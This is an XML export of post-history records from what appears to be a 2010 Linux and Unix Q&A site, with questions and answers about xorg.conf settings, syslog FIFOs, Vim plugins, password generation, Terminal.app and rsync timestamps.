  <row Id="831" PostHistoryTypeId="2" PostId="445" RevisionGUID="8f9c3c90-66a5-4e72-b407-95fe3aa85585" CreationDate="2010-08-13T00:04:34.890" UserId="29" Text="Modify `/etc/X11/xorg.conf` with the following. (note: it is ok if this is all you have in your xorg.conf as xorg will still auto-detect the rest (note: that is if auto-detect works for you without it))&#xD;&#xA;&#xD;&#xA;    Section &quot;ServerFlags&quot;&#xD;&#xA;        Option &quot;DontZap&quot; &quot;false&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputClass&quot;&#xD;&#xA;        Identifier      &quot;Keyboard Defaults&quot;&#xD;&#xA;        MatchIsKeyboard &quot;yes&quot;&#xD;&#xA;        Option          &quot;XkbOptions&quot; &quot;terminate:ctrl_alt_bksp&quot;&#xD;&#xA;    EndSection" />
  <row Id="832" PostHistoryTypeId="2" PostId="446" RevisionGUID="bd299cca-7aaa-4e91-88d3-c4498c01602b" CreationDate="2010-08-13T01:25:41.230" UserId="339" Text="There's actually a project called [Pash][1] that aims to implement PowerShell (on top of Mono), but it seems to have stalled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pash.sourceforge.net/" />
  <row Id="833" PostHistoryTypeId="2" PostId="447" RevisionGUID="84fec678-d302-4c8d-a0e5-00fb28cac933" CreationDate="2010-08-13T03:07:02.873" UserId="29" Text="My printscreen button doesn't work (by doesn't work I mean it doesn't launch ksnapshot, xev registers it's events just fine), does anyone have any idea how to fix it? old workarounds don't seem to be working" />
  <row Id="834" PostHistoryTypeId="1" PostId="447" RevisionGUID="84fec678-d302-4c8d-a0e5-00fb28cac933" CreationDate="2010-08-13T03:07:02.873" UserId="29" Text="keyboard shortcuts not working in kde 4.5.0" />
  <row Id="835" PostHistoryTypeId="3" PostId="447" RevisionGUID="84fec678-d302-4c8d-a0e5-00fb28cac933" CreationDate="2010-08-13T03:07:02.873" UserId="29" Text="ékdeàékeyboardöshortcutsà" />
  <row Id="836" PostHistoryTypeId="16" PostId="171" RevisionGUID="672691d9-0b28-455f-8003-0638542ba17f" CreationDate="2010-08-13T03:36:48.603" UserId="183" />
  <row Id="837" PostHistoryTypeId="2" PostId="448" RevisionGUID="ad6743d2-1b5d-4176-a898-5760169463d7" CreationDate="2010-08-13T03:57:25.807" UserId="328" Text="You could write a little bash script to do this.  Just tail the file to a certain byte count using `tail -c` and overwrite the file.&#xD;&#xA;&#xD;&#xA;from `man tail`:&#xD;&#xA;&#xD;&#xA;    -c, --bytes=N&#xD;&#xA;                  output the last N bytes; alternatively, use +N to  output  bytes&#xD;&#xA;                  starting with the Nth of each file&#xD;&#xA;&#xD;&#xA;       If  the  first  character of N (the number of bytes or lines) is a `+',&#xD;&#xA;       print beginning with the Nth item from the start of each  file,  other‐&#xD;&#xA;       wise, print the last N items in the file.  N may have a multiplier suf‐&#xD;&#xA;       fix:  b  512,  kB  1000,  K  1024,  MB  1000*1000,  M   1024*1024,   GB&#xD;&#xA;       1000*1000*1000, G 1024*1024*1024, and so on for T, P, E, Z, Y.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="838" PostHistoryTypeId="2" PostId="449" RevisionGUID="838d8306-311c-4315-a763-5550abc73850" CreationDate="2010-08-13T05:28:03.607" UserId="254" Text="Vim is a very powerful tool, I am sure all of you already know that. You'll start getting a productivity boost by using vim within a couple of weeks. But you will never saturate your knowledge of Vim. So, I for one am always on the lookout for new and efficient ways of doing things in Vim. There is a guy named *Derek Wyatt* who's done some [great screencasts][1] on the usage of the Vim, and also on the plugins he uses. &#xD;&#xA;&#xD;&#xA;A few of the plugins which I use&#xD;&#xA;&#xD;&#xA;  1. [command-t][2] This makes browsing files a breeze, and it is *very intelligent*.&#xD;&#xA;&gt; The Command-T plug-in provides an&#xD;&#xA;&gt; extremely fast, intuitive mechanism&#xD;&#xA;&gt; for opening files with a minimal&#xD;&#xA;&gt; number of keystrokes. It's named&#xD;&#xA;&gt; &quot;Command-T&quot; because it is inspired by&#xD;&#xA;&gt; the &quot;Go to File&quot; window bound to&#xD;&#xA;&gt; Command-T in TextMate.&#xD;&#xA;&#xD;&#xA;  2. [fuzzyfinder][3] I use this mostly to broswer buffers and change the current directory.&#xD;&#xA;&gt; FuzzyFinder provides convenient ways&#xD;&#xA;&gt; to quickly reach the &#xD;&#xA;&gt; buffer/file/command/bookmark/tag you&#xD;&#xA;&gt; want. FuzzyFinder searches with the &#xD;&#xA;&gt; fuzzy/partial pattern to which it&#xD;&#xA;&gt; converted an entered pattern&#xD;&#xA;&#xD;&#xA;  3. [NERDTree][4] This is the best file browser plugin for vim.&#xD;&#xA;&gt; The NERD tree allows you to explore&#xD;&#xA;&gt; your filesystem and to open files and &#xD;&#xA;&gt; directories. It presents the&#xD;&#xA;&gt; filesystem to you in the form of a&#xD;&#xA;&gt; tree which you  manipulate with the&#xD;&#xA;&gt; keyboard and/or mouse. It also allows&#xD;&#xA;&gt; you to perform  simple filesystem&#xD;&#xA;&gt; operations.&#xD;&#xA;&#xD;&#xA;  4. [XPTemplate][5] The best templating plugin in the world.&#xD;&#xA;&gt; Code snippets engine for Vim, with&#xD;&#xA;&gt; snippets library.  XPTemplate let you&#xD;&#xA;&gt; write codes in a smooth, quick and&#xD;&#xA;&gt; comfortable way.&#xD;&#xA;&#xD;&#xA;  5. [rails.vim][6] If you do rails dev stuff, this is indispensable.&#xD;&#xA;&gt; TextMate may be the latest craze for&#xD;&#xA;&gt; developing Ruby on Rails applications,&#xD;&#xA;&gt; but Vim is forever.  This plugin&#xD;&#xA;&gt; offers the following features for Ruby&#xD;&#xA;&gt; on Rails application development.&#xD;&#xA;&#xD;&#xA;  6. [NerdCommenter][7] Makes commenting in any kind of code easy.&#xD;&#xA;&#xD;&#xA;And those are just a few of the plugins which I use, To download all the plugins with my vimrc, checkout my [dotfiles][8]&#xD;&#xA;&#xD;&#xA;  [1]:http://www.derekwyatt.org/vim/vim-tutorial-videos/&#xD;&#xA;  [2]:http://www.vim.org/scripts/script.php?script_id=3025&#xD;&#xA;  [3]:http://www.vim.org/scripts/script.php?script_id=1984&#xD;&#xA;  [4]:http://www.vim.org/scripts/script.php?script_id=1658&#xD;&#xA;  [5]:http://www.vim.org/scripts/script.php?script_id=2611&#xD;&#xA;  [6]:http://www.vim.org/scripts/script.php?script_id=1567&#xD;&#xA;  [7]:http://www.vim.org/scripts/script.php?script_id=1218&#xD;&#xA;  [8]:http://github.com/minhajuddin/dotfiles&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="839" PostHistoryTypeId="16" PostId="449" RevisionGUID="838d8306-311c-4315-a763-5550abc73850" CreationDate="2010-08-13T05:28:03.607" UserId="-1" />
  <row Id="840" PostHistoryTypeId="2" PostId="450" RevisionGUID="cfdb66fb-dd51-4702-8707-87a3c3822b02" CreationDate="2010-08-13T06:22:24.237" UserId="250" Text="I really like Wordpress' post editor. If you are not using Wordpress you can always create a new post in Wordpress, make all kinds of editing you need, then copy and use the HTML without publishing the post. For this you can go with a free wordpress.com account :D&#xD;&#xA;&#xD;&#xA;It also looks like the only thing you need is a WYSIWYG HTML editor, a little [googling][1] might be good. Try this [online html editor][2], for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=online+html+editor&#xD;&#xA;  [2]: http://online-html-editor.org/" />
  <row Id="841" PostHistoryTypeId="2" PostId="451" RevisionGUID="54bb8af7-bcc7-4c09-8f48-922467e6ac33" CreationDate="2010-08-13T07:27:26.437" UserId="146" Text="http://who-t.blogspot.com/2009/04/zapping-server.html explains the change and how to change it back." />
  <row Id="842" PostHistoryTypeId="2" PostId="452" RevisionGUID="726c4de7-41e1-4aa7-89d5-a3eca41bd617" CreationDate="2010-08-13T08:51:53.050" UserId="48" Text="I just created a VM using Suse Studio and I built just a simple openSUSE 11.3 VM based on the gnome template. I have not added any other software (except for Firefox and the Kernel modules, to be able to add VirtualBox Guest Additions, but using Yast).&#xD;&#xA;&#xD;&#xA;I am trying to use the gnome display program to change my resolution, and I am getting the following message: &quot;Display configuration could not be run&quot; - &quot;Failed to execute child process &quot;gnome-display-properties&quot; (No such file or directory)&quot;.&#xD;&#xA;&#xD;&#xA;Of course I tried to lookup gnome-display in the software repository, but I had no luck there. Anyone has run into the same issue?" />
  <row Id="843" PostHistoryTypeId="1" PostId="452" RevisionGUID="726c4de7-41e1-4aa7-89d5-a3eca41bd617" CreationDate="2010-08-13T08:51:53.050" UserId="48" Text="Configuring the display properties on openSuse (Gnome) running as VirtualBox VM" />
  <row Id="844" PostHistoryTypeId="3" PostId="452" RevisionGUID="726c4de7-41e1-4aa7-89d5-a3eca41bd617" CreationDate="2010-08-13T08:51:53.050" UserId="48" Text="élinuxàéopensuseàévirtualömachineàédisplayösettingsà" />
  <row Id="845" PostHistoryTypeId="2" PostId="453" RevisionGUID="4da9dfc4-604d-4d71-b40e-b4e6f69109b9" CreationDate="2010-08-13T12:06:04.317" UserId="184" Text="I need some good download manager for my Linux like IDM(on windows), I want it can install a plugin on browser too like IDM that you can download movies from youtube or other site easily.&#xD;&#xA;and make as many as connection possible." />
  <row Id="846" PostHistoryTypeId="1" PostId="453" RevisionGUID="4da9dfc4-604d-4d71-b40e-b4e6f69109b9" CreationDate="2010-08-13T12:06:04.317" UserId="184" Text="Download Manager for my Linux." />
  <row Id="847" PostHistoryTypeId="3" PostId="453" RevisionGUID="4da9dfc4-604d-4d71-b40e-b4e6f69109b9" CreationDate="2010-08-13T12:06:04.317" UserId="184" Text="élinuxàédownloadàésoftwareörecà" />
  <row Id="848" PostHistoryTypeId="2" PostId="454" RevisionGUID="a12e32ca-168b-421a-82b3-fbd314741320" CreationDate="2010-08-13T12:43:34.227" UserId="286" Text="Has anyone got (or can point in the direction of) a nanorc file that contains syntax highlighting for C# and/or ASP.Net?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Rob" />
  <row Id="849" PostHistoryTypeId="1" PostId="454" RevisionGUID="a12e32ca-168b-421a-82b3-fbd314741320" CreationDate="2010-08-13T12:43:34.227" UserId="286" Text="Nano syntax highlighting for C# and/or ASP.Net" />
  <row Id="850" PostHistoryTypeId="3" PostId="454" RevisionGUID="a12e32ca-168b-421a-82b3-fbd314741320" CreationDate="2010-08-13T12:43:34.227" UserId="286" Text="émonoàéeditorsàécñà" />
  <row Id="851" PostHistoryTypeId="2" PostId="455" RevisionGUID="abcd979c-55c7-48b9-a4fa-a5e06c0f6c9e" CreationDate="2010-08-13T12:50:36.287" UserId="286" Text="I'd suggest [aria2][1] (in the repositories) with the [FlashGot][2] plugin for Firefox.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aria2.sourceforge.net/&#xD;&#xA;  [2]: http://flashgot.net/" />
  <row Id="852" PostHistoryTypeId="2" PostId="456" RevisionGUID="5cc1b997-cce9-4268-a249-689ba33481bf" CreationDate="2010-08-13T12:56:23.607" UserId="286" Text="[BloGTK][1] is a little old but I like its simplicity&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogtk.jayreding.com/" />
  <row Id="853" PostHistoryTypeId="2" PostId="457" RevisionGUID="6ac13a99-def4-4f00-944c-63a8431e8376" CreationDate="2010-08-13T13:26:06.210" UserId="27" Text="Your only solution may be to write your own userspace file system or contribute to an existing one.  Look at the partial list at [Filesystem in Userspace][1]&#xD;&#xA;&#xD;&#xA;If you don't have the skills to contribute, offer a project publicity or $$$ or both, to add it for you.&#xD;&#xA;&#xD;&#xA;I wish I had the time to do it, I have always wanted something exactly like this.&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Filesystem_in_Userspace" />
  <row Id="854" PostHistoryTypeId="2" PostId="458" RevisionGUID="6aadcf74-e647-4f2c-896b-c5c3ac842e52" CreationDate="2010-08-13T14:43:41.923" UserId="250" Text="I find myself using [downthemall][1] for my downloads. It's a Firefox plugin and thus available everywhere (a very important reason why I chose it). You can&#xD;&#xA;&#xD;&#xA; - download all links / media in a page&#xD;&#xA; - download each item with up to 10 connections&#xD;&#xA; - and yes, you can download Facebook videos&#xD;&#xA;&#xD;&#xA;[1]: https://addons.mozilla.org/en-US/firefox/addon/201/" />
  <row Id="855" PostHistoryTypeId="2" PostId="459" RevisionGUID="d83eceb7-220f-4abc-b035-9671110c3dc8" CreationDate="2010-08-13T15:20:17.150" UserId="4" Text="You can do something similar using a FIFO, which is sort of like a zero-byte sized file. However, note that if nothing is READING from this file, then the syslog process may become blocked, and will stop writing to ALL of your logfiles. I'm not sure if this behavior has been changed with newer versions of Ubuntu/CentOS.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;One example [here][1]&#xD;&#xA;&#xD;&#xA;Here's another example. &#xD;&#xA;&#xD;&#xA;Try something like this:&#xD;&#xA;&#xD;&#xA;    sudo mkfifo /var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;And add this to (r)syslog.conf, then restart syslog:&#xD;&#xA;&#xD;&#xA;    *.*     |/var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Then test it in one window:&#xD;&#xA;&#xD;&#xA;    cat /var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;And in another window:&#xD;&#xA;&#xD;&#xA;    logger Test1&#xD;&#xA;    logger Test2&#xD;&#xA;    logger Test3&#xD;&#xA;&#xD;&#xA;You should see the &quot;Test*&quot; lines in the output of `cat` above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.softpanorama.org/Logs/Syslog/pipes_in_syslog.shtml" />
  <row Id="856" PostHistoryTypeId="5" PostId="459" RevisionGUID="571461fe-3321-4159-9230-7caadb79a78e" CreationDate="2010-08-13T15:32:45.800" UserId="4" Comment="added 327 characters in body" Text="You can do something similar using a FIFO, which is sort of like a zero-byte sized file. &#xD;&#xA;&#xD;&#xA;However, note that if nothing is READING from this file, then the syslog process may become blocked, and will stop writing to ALL of your logfiles. I'm not sure if this behavior has been changed with newer versions of Ubuntu/CentOS.&#xD;&#xA;&#xD;&#xA;One example [here][1]&#xD;&#xA;&#xD;&#xA;For another example, try something like this.&#xD;&#xA;&#xD;&#xA;Make your FIFO:&#xD;&#xA;&#xD;&#xA;    sudo mkfifo /var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;And add this to (r)syslog.conf, then restart syslog:&#xD;&#xA;&#xD;&#xA;    *.*     |/var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;Then view the FIFO from  one window:&#xD;&#xA;&#xD;&#xA;    cat /var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;And in another window, send some stuff to syslog:&#xD;&#xA;&#xD;&#xA;    logger Test1&#xD;&#xA;    logger Test2&#xD;&#xA;    logger Test3&#xD;&#xA;&#xD;&#xA;You should see the &quot;Test*&quot; lines in the output of `cat` above.&#xD;&#xA;&#xD;&#xA;This feature can be great for debugging, especially if you don't care to keep the data around for longer. For example, if you only want to see everything except for thefirewall spam, you can do something like this:&#xD;&#xA;&#xD;&#xA;    grep -vi &quot;kernel: .* on wan&quot; /var/log/everything.fifo&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.softpanorama.org/Logs/Syslog/pipes_in_syslog.shtml" />
  <row Id="857" PostHistoryTypeId="2" PostId="460" RevisionGUID="e04de2df-0c74-462c-bdc8-ea1046bd14c4" CreationDate="2010-08-13T15:51:10.980" UserId="342" Text="Jaws is a Framework and Content Management System for building dynamic web sites. It aims to be User Friendly giving ease of use and lots of ways to customize web sites, but at the same time is Developer Friendly, it offers a simple and powerful framework to hack your own modules.&#xD;&#xA;&#xD;&#xA;[Jaws Project Site][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jaws-project.com/" />
  <row Id="858" PostHistoryTypeId="2" PostId="461" RevisionGUID="e11fdfa7-039f-49c3-a5f3-22d3fad252c6" CreationDate="2010-08-13T15:58:02.553" UserId="342" Text="Giver is a simple file sharing desktop application. Other people running Giver on your network are automatically discovered and you can send files to them by simply dragging the files to their photo or icon shown in Giver.&#xD;&#xA;&#xD;&#xA;In Ubuntu:&#xD;&#xA;          sudo apt-get install giver&#xD;&#xA;&#xD;&#xA;" />
  <row Id="859" PostHistoryTypeId="2" PostId="462" RevisionGUID="6db77307-a1d9-41a0-89c0-48ac35c54dd9" CreationDate="2010-08-13T16:12:55.800" UserId="342" Text="I wonder how I can create strong passwords on Linux (for both normal and admin users) and if there are specific programs to do that" />
  <row Id="860" PostHistoryTypeId="1" PostId="462" RevisionGUID="6db77307-a1d9-41a0-89c0-48ac35c54dd9" CreationDate="2010-08-13T16:12:55.800" UserId="342" Text="Creating strong passwords in Linux" />
  <row Id="861" PostHistoryTypeId="3" PostId="462" RevisionGUID="6db77307-a1d9-41a0-89c0-48ac35c54dd9" CreationDate="2010-08-13T16:12:55.800" UserId="342" Text="ésecurityàéusersàépasswordà" />
  <row Id="862" PostHistoryTypeId="2" PostId="463" RevisionGUID="9ed6b567-cbd2-4ea1-9110-7fb308fcd426" CreationDate="2010-08-13T16:18:25.000" UserId="62" Text="[pwgen][1] is one of many programs for generating passwords&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/pwgen/" />
  <row Id="863" PostHistoryTypeId="2" PostId="464" RevisionGUID="3d8081f0-97f6-4fe0-9b6e-67c73c6b4e47" CreationDate="2010-08-13T17:23:17.630" UserId="85" Text="I've recently switched to using a Mac full-time, and am having trouble getting used to Terminal.app after years of loving gnome-terminal.  I miss having URLs show up underlined, using alt+arrow to move between words, and having screen+ssh behave the way I'm used to it.&#xD;&#xA;&#xD;&#xA;I'm trying to get used to the following key combinations to survive in Terminal.app:&#xD;&#xA;&#xD;&#xA; * alt+b to go back a word&#xD;&#xA; * alt+f to go forward a word&#xD;&#xA; * ctrl+a to go to the beginning of a line&#xD;&#xA; * ctrl+e to go to the end of a line&#xD;&#xA; * you can still right-click on a URL to open it, it just doesn't look purty like in gnome-terminal&#xD;&#xA;&#xD;&#xA;Does anyone have any other good tips or alternative terminal suggestions to retain command line efficiency on a Mac?" />
  <row Id="864" PostHistoryTypeId="1" PostId="464" RevisionGUID="3d8081f0-97f6-4fe0-9b6e-67c73c6b4e47" CreationDate="2010-08-13T17:23:17.630" UserId="85" Text="Any tips for surviving Terminal.app?" />
  <row Id="865" PostHistoryTypeId="3" PostId="464" RevisionGUID="3d8081f0-97f6-4fe0-9b6e-67c73c6b4e47" CreationDate="2010-08-13T17:23:17.630" UserId="85" Text="écommandölineàéosxà" />
  <row Id="866" PostHistoryTypeId="2" PostId="465" RevisionGUID="abf2ee14-e91d-41a9-a894-7ed53d2ff82e" CreationDate="2010-08-13T17:24:04.867" UserId="45" Text="Use iTerm.  Its great." />
  <row Id="867" PostHistoryTypeId="2" PostId="466" RevisionGUID="597c0476-c2e3-43f1-84cc-ac7037e88a87" CreationDate="2010-08-13T17:30:06.357" UserId="57" Text="Personally I prefer not to use password generator as password generated are very hard to remember :-).&#xD;&#xA;But one portable solution could be to use /dev/random   &#xD;&#xA;&#xD;&#xA;Creating random passwords which contains no special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9' | fold -w 10| head -n 1` &#xD;&#xA;&#xD;&#xA;        dyxJRKldvp&#xD;&#xA;&#xD;&#xA;Creating random passwords which contains special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&amp;*()_+{}|:&lt;&gt;?='|fold -w 10 | head -n 1| grep -i '[!@#$%^&amp;*()_+{}|:&lt;&gt;?=]'` &#xD;&#xA;&#xD;&#xA;        MSF4wj@vP0&#xD;&#xA;&#xD;&#xA;you can increase length by changing `number` after `-w` switch in `fold` command.  &#xD;&#xA;I hope this will help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="868" PostHistoryTypeId="5" PostId="466" RevisionGUID="35b25253-719b-47af-97e6-e4d8cc0f84db" CreationDate="2010-08-13T17:36:35.237" UserId="57" Comment="added 54 characters in body" Text="Personally I prefer not to use password generator as password generated are very hard to remember :-).&#xD;&#xA;But one portable solution could be to use [/dev/random][1]   &#xD;&#xA;&#xD;&#xA;Creating random passwords which contains no special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9' | fold -w 10| head -n 1` &#xD;&#xA;&#xD;&#xA;        dyxJRKldvp&#xD;&#xA;&#xD;&#xA;Creating random passwords which contains special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&amp;*()_+{}|:&lt;&gt;?='|fold -w 10 | head -n 1| grep -i '[!@#$%^&amp;*()_+{}|:&lt;&gt;?=]'` &#xD;&#xA;&#xD;&#xA;        MSF4wj@vP0&#xD;&#xA;&#xD;&#xA;you can increase length by changing `number` after `-w` switch in `fold` command.  &#xD;&#xA;I hope this will help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki//dev/random" />
  <row Id="869" PostHistoryTypeId="8" PostId="466" RevisionGUID="f325b4e8-d26b-4fd5-b7e4-63e48867bc8b" CreationDate="2010-08-13T17:37:09.480" UserId="57" Comment="Rollback to [597c0476-c2e3-43f1-84cc-ac7037e88a87]" Text="Personally I prefer not to use password generator as password generated are very hard to remember :-).&#xD;&#xA;But one portable solution could be to use /dev/random   &#xD;&#xA;&#xD;&#xA;Creating random passwords which contains no special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9' | fold -w 10| head -n 1` &#xD;&#xA;&#xD;&#xA;        dyxJRKldvp&#xD;&#xA;&#xD;&#xA;Creating random passwords which contains special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&amp;*()_+{}|:&lt;&gt;?='|fold -w 10 | head -n 1| grep -i '[!@#$%^&amp;*()_+{}|:&lt;&gt;?=]'` &#xD;&#xA;&#xD;&#xA;        MSF4wj@vP0&#xD;&#xA;&#xD;&#xA;you can increase length by changing `number` after `-w` switch in `fold` command.  &#xD;&#xA;I hope this will help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="870" PostHistoryTypeId="5" PostId="466" RevisionGUID="5ccec430-a23b-401f-bc0b-7a30a5632c87" CreationDate="2010-08-13T17:38:01.600" UserId="57" Comment="added 54 characters in body" Text="Personally I prefer not to use password generator as password generated are very hard to remember :-).&#xD;&#xA;But one portable solution could be to use [/dev/random][1]   &#xD;&#xA;&#xD;&#xA;Creating random passwords which contains no special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9' | fold -w 10| head -n 1` &#xD;&#xA;&#xD;&#xA;        dyxJRKldvp&#xD;&#xA;&#xD;&#xA;Creating random passwords which contains special characters, is 10 characters long  &#xD;&#xA;&#xD;&#xA;`cat /dev/urandom| tr -dc 'a-zA-Z0-9-_!@#$%^&amp;*()_+{}|:&lt;&gt;?='|fold -w 10 | head -n 1| grep -i '[!@#$%^&amp;*()_+{}|:&lt;&gt;?=]'` &#xD;&#xA;&#xD;&#xA;        MSF4wj@vP0&#xD;&#xA;&#xD;&#xA;you can increase length by changing `number` after `-w` switch in `fold` command.  &#xD;&#xA;I hope this will help.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki//dev/random" />
  <row Id="871" PostHistoryTypeId="2" PostId="467" RevisionGUID="a60046d6-4c8b-41e0-b560-b5852bd111f4" CreationDate="2010-08-13T17:38:40.460" UserId="4" Text="I would like to open up a file using less, and have it automatically scroll the file similar to 'tail -f'.&#xD;&#xA;&#xD;&#xA;I know that I can do `less file`, and then hit `Shift-F` to forward forever; like &quot;tail -f&quot;.&#xD;&#xA;&#xD;&#xA;I want `less` for use of the `--raw-control-chars` flag." />
  <row Id="872" PostHistoryTypeId="1" PostId="467" RevisionGUID="a60046d6-4c8b-41e0-b560-b5852bd111f4" CreationDate="2010-08-13T17:38:40.460" UserId="4" Text="The `less` command-line equivilant of `tail -f` (forward forever)" />
  <row Id="873" PostHistoryTypeId="3" PostId="467" RevisionGUID="a60046d6-4c8b-41e0-b560-b5852bd111f4" CreationDate="2010-08-13T17:38:40.460" UserId="4" Text="éshellàélessà" />
  <row Id="874" PostHistoryTypeId="2" PostId="468" RevisionGUID="7aa8dc0c-2507-40e8-a6c0-06e576378a1a" CreationDate="2010-08-13T17:46:53.753" UserId="4" Text="Here's my second answer. This is a pretty hackish.&#xD;&#xA;&#xD;&#xA;Use watch(1) to repeatedly execute `tail --bytes=1024` (the last 1024 bytes of the logfile, thanks to @jjclarkson for that answer).&#xD;&#xA;&#xD;&#xA;	watch --no-title tail --bytes=1024 /var/log/messages &gt;/tmp/messages.watch&#xD;&#xA;&#xD;&#xA;And then view the file with:&#xD;&#xA;&#xD;&#xA;	less --raw-control-chars /tmp/messages.watch&#xD;&#xA;&#xD;&#xA;The difference between `watch` and a while loop is that `watch` will only update /tmp/messages.watch if there were changes to /var/log/messages .&#xD;&#xA;&#xD;&#xA;	while true; do&#xD;&#xA;		tail --bytes=1024 /var/log/messages &gt; /tmp/messages.watch&#xD;&#xA;		sleep 1&#xD;&#xA;	done&#xD;&#xA;&#xD;&#xA;And well, I guess you could put a `test` in the while loop so that tail is only executed if /var/log/messages was updated, but I won't figure that out now." />
  <row Id="875" PostHistoryTypeId="2" PostId="469" RevisionGUID="278fe484-319c-4f52-9c9c-24b26a2ecc4a" CreationDate="2010-08-13T17:48:01.007" UserId="83" Text="I wrote this little script a few years ago and have been using it ever since. If anything, it's an interesting abuse of &lt;code&gt;printf&lt;/code&gt; and uses a lovely feature of BASH that I unfortunately rarely see in scripts: &lt;code&gt;typeset&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env bash&#xD;&#xA;    # Released into public domain&#xD;&#xA;    # Aaron Bockover, 2005&#xD;&#xA;    # http://abock.org&#xD;&#xA;    &#xD;&#xA;    typeset -i length; length=$1&#xD;&#xA;    typeset -i rounds; rounds=$2&#xD;&#xA;    [ $rounds -lt 1 ] &amp;&amp; rounds=1&#xD;&#xA;    [ $length -lt 1 ] &amp;&amp; {&#xD;&#xA;        echo &quot;Usage: $0 &lt;length&gt; [&lt;rounds&gt;]&quot; 2&gt;/dev/null; exit 1;&#xD;&#xA;    }&#xD;&#xA;    for ((i=0; i &lt; $rounds; i++)); do&#xD;&#xA;        for ((j=0; j &lt; $length; j++)); do&#xD;&#xA;            set=$(($RANDOM % 20))&#xD;&#xA;            if   [ $set -le 6 ];  then o=65; l=26; # 35% uppercase&#xD;&#xA;            elif [ $set -le 13 ]; then o=97; l=26; # 35% lowercase&#xD;&#xA;            elif [ $set -le 17 ]; then o=48; l=10; # 20% numeric&#xD;&#xA;            elif [ $set -le 18 ]; then o=58; l=7;  # 10% symbolic&#xD;&#xA;            elif [ $set -le 19 ]; then o=33; l=15; fi&#xD;&#xA;            ord=$(($o + $RANDOM % $l))&#xD;&#xA;            printf \\$(($ord / 64 * 100 + $ord % 64 / 8 * 10 + $ord % 8))&#xD;&#xA;        done&#xD;&#xA;        echo&#xD;&#xA;    done" />
  <row Id="876" PostHistoryTypeId="2" PostId="470" RevisionGUID="dfece1cb-acaf-4542-bda2-eb47fcf98da4" CreationDate="2010-08-13T18:37:09.550" UserId="298" Text="I'm doing some synching with rsync using:  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;rsync --rLvv --times --size-only &#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;For my initial sync.  My idea, now is to use: &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;rsync --rLvv --times&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;To synch files that have a new modified time.  My problem is that after the initial rsync, I see the following Modified times on the files that have been synced:  &#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;remote$ stat 6080_04_big.mp4&#xD;&#xA;  File: `6080_04_big.mp4'&#xD;&#xA;  Size: 258788267       Blocks: 505448     IO Block: 4096   regular file&#xD;&#xA;Device: 903h/2307d      Inode: 862897      Links: 1&#xD;&#xA;Access: (0644/-rw-r--r--)  Uid: ( 2000/ht)   Gid: ( 2000/    cust)&#xD;&#xA;Access: 2010-08-13 10:46:20.000000000 -0700&#xD;&#xA;Modify: 2010-08-12 17:55:08.000000000 -0700&#xD;&#xA;Change: 2010-08-13 10:46:20.205721673 -0700&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;local$ stat 6080_04_big.mp4&#xD;&#xA;  File: `6080_04_big.mp4'&#xD;&#xA;  Size: 258788267       Blocks: 505448     IO Block: 4096   regular file&#xD;&#xA;Device: 902h/2306d      Inode: 136015      Links: 1&#xD;&#xA;Access: (0664/-rw-rw-r--)  Uid: (  506/   admin)   Gid: (  506/   admin)&#xD;&#xA;Access: 2010-08-12 20:55:01.482104000 -0400&#xD;&#xA;Modify: 2010-08-12 20:55:08.468122000 -0400&#xD;&#xA;Change: 2010-08-12 21:15:06.952810711 -0400&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;The modify time is 'effectively' the same, but only down to the second.  What's the resolution of the comparison here?  It seems that anything that is the same up to the second is considered the same, but I can't find any docs specifying this.  Anyone know off the top of their heads? " />
